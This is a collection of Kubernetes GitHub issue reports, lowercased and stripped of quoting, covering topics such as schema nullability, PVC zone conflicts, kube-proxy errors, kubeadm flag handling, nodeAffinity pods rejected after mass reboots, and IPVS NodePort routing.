effect: noschedule\r    \r \r to use a simple jsonschema tool we need to convert this to json with the following oneliner.\r \r    \r python -c 'import sys, yaml, json; json.dump yaml.load sys.stdin , sys.stdout, indent=4 ' < valid-deployment.yaml > valid-deployment.json\r    \r \r grab the latest deployment schema. these are the same contents from the kubernetes openapi specification. more details at https://www.morethanseven.net/2017/06/26/schemas-for-kubernetes-types/.\r \r    \r wget https://raw.githubusercontent.com/garethr/kubernetes-json-schema/master/master-standalone/deployment.json\r    \r \r the install the python jsonschema client https://github.com/julian/jsonschema and try and validate the document.\r \r    \r pip install jsonschema\r jsonschema -i valid-deployment.json deployment.json\r none: none is not of type u'array'\r    \r \r   anything else we need to know?  :\r \r this issue came up with the following  kubeval  issue report: https://github.com/garethr/kubeval/issues/14\r \r enquiring about this on sig api machinery @deads2k said:\r \r > when we introduced protobuf, the ability to distinguish between null and empty arrays was lost. \r > we ended up compromising and treating the two the same, empty as i recall.\r > the behavior of all arrays in the api should be consistent.\r \r i think this applies to any arrays described in the openapi document at https://github.com/kubernetes/kubernetes/blob/master/api/openapi-spec/swagger.json,  for instance deployment args which raised the original issue https://github.com/garethr/kubernetes-json-schema/blob/master/master-standalone/deployment.json l2720-l2726  \r \r instead of them being:\r \r    \r \ type\ : \ array\ \r    \r \r it should be:\r \r    \r \ type\ :   \ array\ , \ null\   \r

we need a way to report volume status in podstatus.  the motivating case is to show what the uid and resourceversion is for a secret volume  see  4949 .  other uses might include: - show version at which a git volume was pulled. - show disk space usage of a volume  though we have talked about not putting usage in podstatus  - show state of volume as installing/ready/deleting, for debugging slow startup, etc.  we need to pick a place in podstatus for this per-volume data.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r \r   what happened  : i am trying to deploy a stateful set with pvcs to a set of 5 instances spread across 2 azs. the stateful set has 5 pods, and i have set anti affinity so that there will be 1 pod per instance. the instances came up in azs a-b-a-b-a. when i deploy the stateful set, their pvcs come up in azs b-a-b-a-b. thus the last pod in the set cannot be scheduled due to novolumezoneconflict.\r \r   what you expected to happen  : the pvcs should be assigned to the same az as the instance where the pod that requires it gets scheduled. is there any way for me to make this happen?\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a stateful set of 5 replicas with pvcs and anti pod affinity to a cluster with 5 nodes on 2 azs:\r \r    \r spec:\r   replicas: 5\r   template:\r     spec:\r       affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: app\r                 operator: in\r                 values:\r                 - foo\r             topologykey: kubernetes.io/hostname\r   volumeclaimtemplates:\r   - metadata:\r       name: datadir\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 20gi\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t02:00:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release :\r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux 4.4.65-k8s x86_64 gnu/linux\r    \r - install tools: custom\r - others:\r

  \r i can create a pod with a flexvolume that is undeletable. to reproduce:\r 1. write a pod with an image that doesen't exist.\r 2. add a flex volume to that pod.\r 3. create the pod.\r 4. delete the pod.\r \r the pod remains in terminating forever with this in kubelet logs:\r \r    \r oct 31 01:57:07 k-4-minion-group-7mbb kubelet 1500 : i1031 01:57:07.920429    1500 kubelet_pods.go:1043  killing unwanted pod \ idcli\ \r oct 31 01:59:09 k-4-minion-group-7mbb kubelet 1500 : e1031 01:59:09.701563    1500 kubelet.go:1671  unable to mount volumes for pod \ idcli_default a8dc7bfe-bdde-11e7-8c39-42010af00002 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ idcli\ . list of unattached/unmounted volumes= default-token-98fcr ; skipping pod\r oct 31 01:59:09 k-4-minion-group-7mbb kubelet 1500 : e1031 01:59:09.701604    1500 pod_workers.go:186  error syncing pod a8dc7bfe-bdde-11e7-8c39-42010af00002  \ idcli_default a8dc7bfe-bdde-11e7-8c39-42010af00002 \  , skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ idcli\ . list of unattached/unmounted volumes= default-token-98fcr \r    \r \r this is on head.

failure cluster  2d12f2d6eb23d44aa3a6  https://go.k8s.io/triage 2d12f2d6eb23d44aa3a6        error text:     error creating cluster: error during gcloud container clusters create --quiet --project=k8s-e2e-gke-prod-parallel --zone=us-central1-f --machine-type=n1-standard-2 --image-type=gci --num-nodes=3 --network=bootstrap-e2e --cluster-version=1.10.0-alpha.1.562+8a9954d4719e17 bootstrap-e2e: exit status 1           failure cluster statistics: 1 tests failed,    13 jobs failed,    277 builds failed. failure stats cover 1 day time range '14 jan 2018 03:28 utc' to '15 jan 2018 03:28 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | up | 13 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-updown | 46 |  15 jan 2018 03:08 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-updown/30555  | | ci-kubernetes-e2e-gke-stackdriver | 46 |  15 jan 2018 03:11 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-stackdriver/17042  | | ci-kubernetes-e2e-gke-sd-logging-gci-latest | 43 |  15 jan 2018 03:16 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-sd-logging-gci-latest/256  |   current status  https://go.k8s.io/triage 2d12f2d6eb23d44aa3a6

is this a bug report or feature request?  :\r others\r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r when run  hack/local-up-cluster.sh  with 'iptables' proxymode, check  /tmp/kube-proxy.log  after cluster succeed, you can see some error message like that\r    shell\r e0117 09:10:45.720142  108141 proxier.go:863  error deleting dummy device kube-ipvs0 created by ipvs proxier: error deleting a non-exist dummy device: kube-ipvs0\r e0117 09:10:45.729617  108141 proxier.go:838  failed to execute iptables-restore for nat: exit status 1  iptables-restore: line 7 failed\r  \r e0117 09:10:45.730508  108141 proxier.go:876  error removing ipset kube-loop-back, error: error destroying set kube-loop-back:, error: exit status 1\r e0117 09:10:45.731329  108141 proxier.go:876  error removing ipset kube-cluster-ip, error: error destroying set kube-cluster-ip:, error: exit status 1\r e0117 09:10:45.732100  108141 proxier.go:876  error removing ipset kube-load-balancer, error: error destroying set kube-load-balancer:, error: exit status 1\r e0117 09:10:45.732855  108141 proxier.go:876  error removing ipset kube-node-port-tcp, error: error destroying set kube-node-port-tcp:, error: exit status 1\r e0117 09:10:45.735082  108141 proxier.go:876  error removing ipset kube-node-port-udp, error: error destroying set kube-node-port-udp:, error: exit status 1\r e0117 09:10:45.735829  108141 proxier.go:876  error removing ipset kube-external-ip, error: error destroying set kube-external-ip:, error: exit status 1\r e0117 09:10:45.736619  108141 proxier.go:876  error removing ipset kube-load-balancer-source-ip, error: error destroying set kube-load-balancer-source-ip:, error: exit status 1\r e0117 09:10:45.737360  108141 proxier.go:876  error removing ipset kube-load-balancer-source-cidr, error: error destroying set kube-load-balancer-source-cidr:, error: exit status 1\r e0117 09:10:45.738114  108141 proxier.go:876  error removing ipset kube-load-balancer-masq, error: error destroying set kube-load-balancer-masq:, error: exit status 1\r     \r i think that when we first setting up cluster with  iptables  proxymode, calling   ipvs.cleanupleftovers    function which destroy ip sets created by ipvs proxier is unreasonable, so we should add some check before destroy ip sets.\r \r   what you expected to happen  :\r thoes error messages  disapear\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1、run  hack/local-up/cluster.sh \r 2、check  /tmp/kube-proxy.log  file\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r linux szx1000380318 3.13.0-24-generic  47-ubuntu smp fri may 2 23:30:00 utc 2014 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r deleted a namespace which had 1 pod it in.\r \r   what you expected to happen  :\r the namespace and all resources to delete as usual\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r it's 1 pod with a gluster/heketi pvc \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2+coreos.0\ , gitcommit:\ 4c0769e81ab01f47eec6f34d7f1bb80873ae5c2b\ , gittreestate:\ clean\ , builddate:\ 2017-10-25t16:24:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r \r baremetal\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux master01 4.4.96-mainline-rev1  1 smp thu nov 2 11:39:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r \r kops\r \r - others:\r \r trying to get logs from docker on any master service results in no put from  docker logs xxxx .\r \r  service docker status  results in...\r    \r jan 27 15:39:58 master01 docker 2642 : time=\ 2018-01-27t15:39:58.170897938z\  level=warning msg=\ containerd: unable to save 226a82effc24fc61021e2100d5c68970d8e7209b6a6e991cb01e353df39f1623:e2bad3af8709f82f380991ea90d0211d237690f22a43d72eb6290fbf43239a3c starttime: read /proc/1840/stat: no such process\ \r jan 27 15:45:17 master01 docker 2642 : time=\ 2018-01-27t15:45:17.063321128z\  level=warning msg=\ containerd: unable to save 226a82effc24fc61021e2100d5c68970d8e7209b6a6e991cb01e353df39f1623:e158f4dba5a31a5184b9d62f30db000dbceafbad6d80b172f8868f2d6af23f6a starttime: read /proc/2975/stat: no such process\ \r jan 27 17:24:08 master01 docker 2642 : time=\ 2018-01-27t17:24:08.158680053z\  level=warning msg=\ containerd: unable to save 226a82effc24fc61021e2100d5c68970d8e7209b6a6e991cb01e353df39f1623:2b912375b0149f1b5146216187b6724bfd2ced709d020c7f2b975a79b6a58179 starttime: read /proc/24037/stat: no such process\ \r jan 27 17:27:22 master01 docker 2642 : time=\ 2018-01-27t17:27:22.087099711z\  level=warning msg=\ containerd: unable to save 226a82effc24fc61021e2100d5c68970d8e7209b6a6e991cb01e353df39f1623:0a7e6b85a3bad50ffc789fd6fcab1039df917a7c3c885a44bde581d59a064d41 starttime: read /proc/24681/stat: no such process\ \r jan 27 18:27:47 master01 docker 2642 : time=\ 2018-01-27t18:27:47.085221844z\  level=warning msg=\ containerd: unable to save 226a82effc24fc61021e2100d5c68970d8e7209b6a6e991cb01e353df39f1623:2e63beb81d82aa4c3787a903cc8f393a6203f418e6f3837cc9d5687710beb71a starttime: read /proc/5002/stat: no such process\ \r jan 27 18:57:28 master01 docker 2642 : time=\ 2018-01-27t18:57:28.17297215z\  level=warning msg=\ containerd: unable to save 226a82effc24fc61021e2100d5c68970d8e7209b6a6e991cb01e353df39f1623:4d0fcfe1f769c67ea441b0e04f62037de1a25d5aa3ec475c850c13d6ce6dfc27 starttime: read /proc/11367/stat: no such process\ \r jan 27 20:03:43 master01 docker 2642 : time=\ 2018-01-27t20:03:43.153299884z\  level=warning msg=\ containerd: unable to save 226a82effc24fc61021e2100d5c68970d8e7209b6a6e991cb01e353df39f1623:4c8a84dd222316339e92f183794d114d9511bce74676e936ebe5ba02fb59b60e starttime: read /proc/25386/stat: no such process\ \r jan 27 20:19:58 master01 docker 2642 : time=\ 2018-01-27t20:19:58.173932734z\  level=warning msg=\ containerd: unable to save 226a82effc24fc61021e2100d5c68970d8e7209b6a6e991cb01e353df39f1623:ce7d4d3d1ed1e6394a7e38f25435bc0a0ab221683b91717ed556b45ecc929224 starttime: read /proc/28792/stat: no such process\ \r jan 27 21:41:38 master01 docker 2642 : time=\ 2018-01-27t21:41:38.144674418z\  level=warning msg=\ containerd: unable to save 226a82effc24fc61021e2100d5c68970d8e7209b6a6e991cb01e353df39f1623:d354f6bd41ef777950293beae113a91f4e07a99d6dc3e708e2cb6d849b71e53c starttime: read /proc/13849/stat: no such process\ \r jan 27 21:49:08 master01 docker 2642 : time=\ 2018-01-27t21:49:08.134135496z\  level=warning msg=\ containerd: unable to save 226a82effc24fc61021e2100d5c68970d8e7209b6a6e991cb01e353df39f1623:3364ad9affa4c4309f27a70ecfb55315e29061b25351930b3dec921c079b4f10 starttime: read /proc/15803/stat: no such process\ \r    \r \r other than that all nodes are showing ready and healthy.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i was specifying  node-cidr-mask-size  in a kubeadm config file under  controllermanagerextraargs  to set the flag. kube-controller-manager was started with 2 instances of  --node-cidr-mask-size  being passed to it.  the 2nd instance was the default that kubeadm adds and overrode the value i was attempting to set.\r \r   what you expected to happen  :\r kube-controller-manager should have been started with one instance of  --node-cidr-mask-size  or at least the one i specified would be the 2nd so that it would take precedence.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. run  kubeadm init --config=myconfig.yaml  with the following as the contents of the file myconfig.yaml\r      \r   apiversion: kubeadm.k8s.io/v1alpha1\r   kind: masterconfiguration\r   api:  \r     advertiseaddress: \ fd10::101\ \r   networking:\r     servicesubnet: fd30::0/110   \r     podsubnet: \ fd20:0::/120\     \r   controllermanagerextraargs:\r     node-cidr-mask-size: \ 120\  \r      \r 2. check the flags that kube-controller-manager is started with.\r \r   anything else we need to know?  :\r this was an issue for me when trying to use kubeadm to setup an ipv6 cluster and specify a podsubnet.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.3\r - cloud provider or hardware configuration: virtualbox\r - os  e.g. from /etc/os-release : \r      \r   name=\ container linux by coreos\ \r   id=coreos\r   version=1576.4.0\r   version_id=1576.4.0\r   build_id=2017-12-06-0449\r   pretty_name=\ container linux by coreos 1576.4.0  ladybug \ \r   ansi_color=\ 38;5;75\ \r   home_url=\ https://coreos.com/\ \r   bug_report_url=\ https://issues.coreos.com\ \r   coreos_board=\ amd64-usr\ \r      \r - kernel  e.g.  uname -a  :  linux k8s-master 4.13.16-coreos-r2  1 smp wed dec 6 04:27:34 utc 2017 x86_64 intel r  xeon r  cpu e3-1505m v5 @ 2.80ghz genuineintel gnu/linux \r - install tools:\r - others:\r

failing job\r      sig-release-master-upgrade gce-1.10-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r \r    failing test\r       sig-apps  deployment rollingupdatedeployment should delete old pods and create new ones  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1484 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=apps&test=%5c%5bsig%5c-apps%5c%5d%5c%20deployment%5c%20rollingupdatedeployment%5c%20should%5c%20delete%5c%20old%5c%20pods%5c%20and%5c%20create%5c%20new%5c%20ones\r \r this test is currently failing in sig-release master-upgrade suite, this could potentially become release blocking if not addressed sooner. @mattfarina   can you please triage this failure?\r \r  / /  @kubernetes/sig-apps-bugs \r \r cc @jberkus @tpepper \r \r /assign @mattfarina \r

pods with  nodeaffinity  went to  matchnodeselector  state.\r \r   what happened  :\r \r after a power maintenance  or decent amount of nodes reboot together in short period of time , lots of pods went into  matchnodeselector  state hence not coming up.\r even after cluster later went to a stable state and all nodes became ready/up-to-date. these  matchnodeselector   failed to be admitted  pods never came up again as kubelet put them into same bucket as terminated pods.\r some of the pods we had were not backed by a deployment or rc. so i had to either delete and recreate these pods, or force update pod state  with  put  against pod status field .\r \r > more details after my troubleshooting. \r \r first. all failed pods had the following affinity in spec.\r    \r spec:\r   affinity:\r     nodeaffinity:\r       requiredduringschedulingignoredduringexecution:\r         nodeselectorterms:\r         - matchexpressions:\r           - key: failure-domain\r             operator: in\r             values:\r             - rack1\r    \r it requires node object to have label  failure-domain=rack1 , which we applied to node object via apiserver.\r \r kubelet logs from node, after reboot.\r    \r -- reboot --\r dec 04 08:14:39 nodexxx systemd 1 : started kubernetes kubelet server.\r dec 04 08:14:56 nodexxx kubelet 8615 : i1004 08:14:56.527919    8615 kubelet_node_status.go:82  attempting to register node nodexxx\r \r dec 04 08:14:59 nodexxx kubelet 8615 : i1004 08:14:59.603526    8615 kubelet.go:1871  syncloop  add, \ api\  : \ xxxxx, podxxx poduuid , xxxxx\ \r dec 04 08:14:59 nodexxx kubelet 8615 : i1004 08:14:59.675924    8615 predicate.go:120  predicate failed on pod: podxxx poduuid , for reason: predicate matchnodeselector failed\r \r dec 04 08:15:05 nodexxx kubelet 8615 : e1004 08:15:05.541717    8615 kubelet_node_status.go:106  unable to register node \ nodexxx\  with api server: the server has received too many requests and has asked us to try again later  post nodes \r    \r kubelet attempted to register and update node object since  dec 04 08:14:56  \r before it got a retry return from apiserver  last log above  dec 04 08:15:05  . it already entered sync loop and rejected the pod that referred to not-yet-sync'd labels from node object  with the  initialnode  . \r \r a quick going-thru in code.\r  run    of kubelet.go would try to  syncnodestatus  which would hit  kl.registerwithapiserver  from  kubelet_node_status.go .\r in parallel, kubelet entered syncloop, got all pods on the node, and tried to bring them up with  handlepodadditions  from which it checked and tried to admit these pods. in pod admit, it would hit  getnodeanywayfunc  first and eventually hit  getnodeanyway  in  kubelet_getters.go , since  getnodeinfo  at this moment would fail, it would fail back to get a  initialnode  without all extra labels. thus pod referring these labels would fail to be admitted, kubelet would  kl.rejectpod  which put that pod into terminated phase.\r \r   what you expected to happen  :\r pods with  nodeaffinity  or any node label selecting should be able to come up eventually, after node object is fully sync’d.\r in this case, pods would enter a somehow un-recoverable state. even after node object is fully sync’d.\r \r   how to reproduce it  as minimally and precisely as possible   :\r this is more of a scalability issue. we have thousand-nodes clusters, and when we reboot or restart kubelet on ~500 of them all together, apiserver started to reject connection and then we saw behaviors like this.\r in terms of ways to reproduce.\r 1. in a cluster label some nodes with label a=b.  kubectl label node a=b .\r 2. create pods with  nodeaffinity    matchexpressions . key  a  in values  b  \r 3.  in our case  reboot all nodes at once.  or other ways to simulate apiserver delays . \r the way we saw it was - when we reboot ~500 nodes at once. most of the pods with nodeaffinity\r  in the rebooted nodes would enter  matchnodeselector  state.\r \r   anything else we need to know?  :\r n/a\r \r   environment  :\r - kubernetes version: 1.10  and i think same issue still exists in latest version. \r - cloud provider or hardware configuration: private cloud and k8s cluster with all bms.\r - os  e.g. from /etc/os-release : centos atomic 7.5 \r - kernel  e.g.  uname -a  : 4.15\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r  

what happened  :\r started a cluster using following config:\r    \r apiversion: kubeadm.k8s.io/v1beta1\r kind: initconfiguration\r localapiendpoint:\r   advertiseaddress: \ 192.168.56.101\ \r   bindport: 6443\r ---\r kind: clusterconfiguration\r apiversion: kubeadm.k8s.io/v1beta1\r kubernetesversion: v1.13.1\r networking:\r   podsubnet: \ 192.168.0.0/16\ \r apiserver:\r   extraargs:\r     feature-gates: sctpsupport=true\r ---\r apiversion: kubeproxy.config.k8s.io/v1alpha1\r kind: kubeproxyconfiguration\r mode: ipvs\r    \r after that i installed calico for the cni. then created a deployment followed by a nodeport service.\r in my cluster i have 2 nodes with 192,168.56.101 as master and 192,168.56.102 as worker. all of my pods from the above deployment are scheduled on worker node. now if i use 192,168.56.102:nodeport to reach the service, it works fine. but when i use 192,168.56.101:nodeport for the same, it does not. for both of the cases i used another system which is not part of the cluster.\r \r   what you expected to happen  :\r a nodeport service can be contacted from any node using nodeip:nodeport\r \r   how to reproduce it  as minimally and precisely as possible   :\r to reproduce the issue:\r 1. use 2 nodes  1 master, 1 worker .\r 2. init the cluster with ipvs enabled.\r 3. allow scheduling of pods only on worker node.\r 4. apply a deployment and start a nodeport service.\r 5. try to connect to the nodeport service using master's nodeip from a system outside the cluster. \r \r   anything else we need to know?  :\r my observation is : when the nodeip:nodeport packet reached to the master the ipvs rule got applied and the dst ip is changed to a pod ip by the ipvs, but the src ip remains intact and the packet is sent to the other node since the pod is on that node which is not a correct behavior.\r the expected behavior should be an iptable postrouting masquerade rule must be applied on that packet before sending to the other node for snat which is not happening.\r \r   environment  :\r - kubernetes version v1.13.0:\r - cloud provider or hardware configuration: virtual box vms\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0-131-generic\r - install tools: calio v3.3.2\r - others: ipvs enabled\r \r  /area kube-proxy

i'm seeing things like this:\r    \r w0410 18:29:24.484  deleting managed instance group...\r w0410 18:59:26.231  .........................................................................................................................................................................................................................................................................................................................................................done.\r    \r  coming from:\r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-beta/1116038326881619976/build-log.txt \r \r deleting mig shouldn't take 30 minutes.\r i've seen a couple other cases like this too

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  : while trying to provision a volume for my windows cluster i ran into the following issue. when i want to create pod with the following yaml file \r \r    \r apiversion: v1\r kind: pod\r metadata:\r  name: backend\r  labels:\r    app: backend\r spec:\r  containers:\r  - image: backend:7.0\r    name: backend   \r    volumemounts:\r    - name: disk01\r      mountpath: 'd:'\r  nodeselector:\r   beta.kubernetes.io/os: windows\t  \t \r  volumes:\r  - name: disk01\r    azuredisk:\r      kind: managed\r      diskname: database\r      diskuri: /subscriptions/{subcription_id}/resourcegroups/{resource_group}/providers/microsoft.compute/disks/database\r    \r the kubelet gives the following error:\r \r > e0417 09:50:32.905898    3824 azure_dd.go:218  failed to get azure cloud in newattacher, plugin.host : workernode, err:azuredisk -  failed to get azure cloud provider. getcloudprovider returned <nil> instead\r > e0417 09:50:56.547252    3824 remote_runtime.go:204  createcontainer in sandbox \ c5bba865ea02e7282b918bde665392fff5fc8b61aeab10c532f4edf58e153f35\  from runtime service failed: rpc error: code = unknown desc = error response from daemon: invalid volume specification: 'c:\\var\\lib\\kubelet\\pods\\3db0323e-60f6-11e9-b16a-000d3a238919\\volumes\\kubernetes.io\\~azure-disk\\disk01:d:': invalid mount config for type \ bind\ : bind source path does not exist: c:\\var\\lib\\kubelet\\pods\\3db0323e-60f6-11e9-b16a-000d3a238919\\volumes\\kubernetes.io~azure-disk\\disk01\r > e0417 09:50:56.691491    3824 kuberuntime_manager.go:780  container start failed: createcontainererror: error response from daemon: invalid volume specification: 'c:\\var\\lib\\kubelet\\pods\\3db0323e-60f6-11e9-b16a-000d3a238919\\volumes\\kubernetes.io\\~azure-disk\\disk01:d:': invalid mount config for type \ bind\ : bind source path does not exist: c:\\var\\lib\\kubelet\\pods\\3db0323e-60f6-11e9-b16a-000d3a238919\\volumes\\kubernetes.io\\~azure-disk\\disk01\r > e0417 09:50:56.691491    3824 pod_workers.go:190  error syncing pod 3db0323e-60f6-11e9-b16a-000d3a238919  \ backend_default 3db0323e-60f6-11e9-b16a-000d3a238919 \  , skipping: failed to \ startcontainer\  for \ backend\  with createcontainererror: \ error response from daemon: invalid volume specification: 'c:\\\\var\\\\lib\\\\kubelet\\\r \r the kube-controller-manager logs also say that no cloud provider has been specified.\r > plugins.go:103  no cloud provider specified.\r > core.go:175  configure-cloud-routes is set, but no cloud provider specified. will not configure cloud provider routes.\r \r i passed the cloud-config flag to to kube-controller-manager and specified  \ cloud\ : \ azurepubliccloud\  \r \r \r   what you expected to happen  :\r it should recognize azure as the cloud provider and provision a disk.\r   how to reproduce it  as minimally and precisely as possible   :\r i set up the cluster with kubeadm and use flannel in host-gw mode as a networking solution.\r then i created a managed disk with azure cli and tried to create a pod with the aforementioned yaml file.\r   \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14.0\r - cloud provider or hardware configuration: azure\r - os  e.g:  cat /etc/os-release  : 18.04.2 lts  bionic beaver  on master and windows server build 17763\r - kernel  e.g.  uname -a  : linux masternode 4.18.0-1014-azure  14~18.04.1-ubuntu smp mon mar 18 16:15:53 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm, flannel\r - others:\r

kubernetes 1.9.3\r \r kubelet does not honor the partition number and always mounts the first partition.\r \r    console\r $ sudo fdisk -l /dev/xvdf      disk layout\r  ... \r device     boot   start       end   sectors size id type\r /dev/xvdf1         2048   2099199   2097152   1g 83 linux\r /dev/xvdf2      2099200 167772159 165672960  79g 83 linux\r    \r \r     yaml\r  pod definition\r  ... \r   spec:\r     containers:\r     - name: artifactory-pro\r       volumemounts:\r       - mountpath: /etc/opt/jfrog/artifactory\r         name: etc\r       - mountpath: /var/opt/jfrog/artifactory/data\r         name: data\r     volumes:\r     - awselasticblockstore:\r         fstype: ext4\r         partition: 1\r         volumeid: vol-f016833f\r       name: etc\r     - awselasticblockstore:\r         fstype: ext4\r         partition: 2\r         volumeid: vol-f016833f\r       name: data\r    \r \r same partition mounted for both volumes:\r \r    console\r $ kubectl exec artifactory df\r filesystem     1k-blocks    used available use% mounted on\r  ... \r /dev/xvdf1      976m  1.3m  908m   1% /etc/opt/jfrog/artifactory\r /dev/xvdf1      976m  1.3m  908m   1% /var/opt/jfrog/artifactory/data\r

currently databases like mysql have several ways to lock access: source ip, user/password, ssl etc. there's a lot of confusion about how to do this on various platforms. some people use cloudsql and setup a service accout proxy, or run a petset mysql and whiltelist ips/hostnames, just grant root access to 0.0.0.0 etc.   we should figure out what works best cross platform and come up with good documentation.  @kubernetes/sig-apps @smarterclayton are secrets sufficient? i know cloudsql has some twists that  @apelisse and @girishkalele were debugging, maybe there're others?

this issue is created to track logging/log management that's relevant to cri   28789 .   related issues: -  24677: general logging integration and pipeline in kubernetes. -  27154: support of  kubectl logs   @tmrts  thanks!  has volunteered to write up a proposal based on the discussions. assigning the issue to him.  /cc @kubernetes/sig-node

do what we did in previous releases, read https://github.com/kubernetes/kubernetes/issues/10760 issue-93324758

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-multizone/4035/  failed:  k8s.io  multi-az clusters should spread the pods of a replication controller across zones {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ubernetes_lite.go:56 pods were not evenly spread across zones.  1 in one zone and 3 in another zone expected     <int>: 1 to be ~     <int>: 3 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/ubernetes_lite.go:184

we should have made etcd3 as the default backend for k8s cluster.\r however, i followed the guide on  e2e-tests.md  https://github.com/kubernetes/community/blob/master/contributors/devel/e2e-tests.md  and it's still spawning up etcd2 backend. we should change that.\r \r another question is that i didn't see any option to switch to etcd3. how to do that?

